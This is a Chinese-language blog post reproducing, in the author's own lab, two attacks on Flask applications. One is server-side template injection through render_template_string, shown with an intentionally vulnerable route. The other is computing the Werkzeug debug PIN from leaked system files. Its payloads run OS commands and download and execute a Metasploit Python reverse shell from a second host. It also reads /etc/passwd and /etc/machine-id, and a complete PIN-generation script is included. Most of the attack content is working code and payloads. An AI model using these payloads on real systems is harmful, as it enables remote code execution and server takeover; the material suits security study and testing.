最近了解到關(guān)于flask框架的兩種利用方式,于是自己搭環(huán)境做一下復(fù)現(xiàn)。
模板注入
簡單的漏洞代碼;
@app.route('/evil')
#----------------------------------------------------------------------
def evil():
code=request.args.get('evil')
html='''<h3>%s</h3>'''%(code)
return render_template_string(html)
這里使用 render_template_string()動態(tài)的渲染模板,代碼中的code是可控的,會和html拼接后直接帶入渲染,存在ssti漏洞。
可以輕易的構(gòu)造xss:

image.png
命令執(zhí)行
使用類似python沙箱逃逸的方法。:
http://192.168.200.244:8000/evil?evil={{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )}}

image.png
可以結(jié)合metasploit反彈:
一:生成python馬:

image.png
二:ssti下載馬并執(zhí)行:
http://192.168.200.244:8000/evil?evil={{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("wget http://192.168.8.110:5000/a.py -O b.py;python b.py").read()' )}}

image.png

image.png
pin碼執(zhí)行命令
使用條件,server開啟了debug模式,存在任意文件讀取漏洞。
開啟了debug的flask項(xiàng)目在啟動時會生成一個debug用的pin碼,可以執(zhí)行python指令。

image.png
而這個pin碼在知曉一些條件后,是可以計(jì)算出來的。
參考:https://xz.aliyun.com/t/2553#toc-2
還是使用之前的漏洞代碼,傳入錯誤的Python代碼,輕易觸發(fā)debug。

image.png
這里我們把之前的ssti當(dāng)任意文件讀取來用:
獲取用戶名(/etc/passwd):

image.png
通過報(bào)錯獲取文件路徑:

image.png
接著獲取mac地址(/sys/class/net/ens32/address我的目標(biāo)服務(wù)器是ens32,一般是eth0):

image.png
然后獲取/etc/machine-id:

image.png
之后就可以通過腳本計(jì)算了:
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/lib64/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'345051575547'# str(uuid.getnode()), /sys/class/net/eth0/address
'613cacd3857f425e9409e544dece08da', # get_machine_id(),/etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
計(jì)算出Pin碼:

image.png
可以看到計(jì)算出來的pin碼和之前debug顯示的是一致的。
接下來就可以利用執(zhí)行命令了:

image.png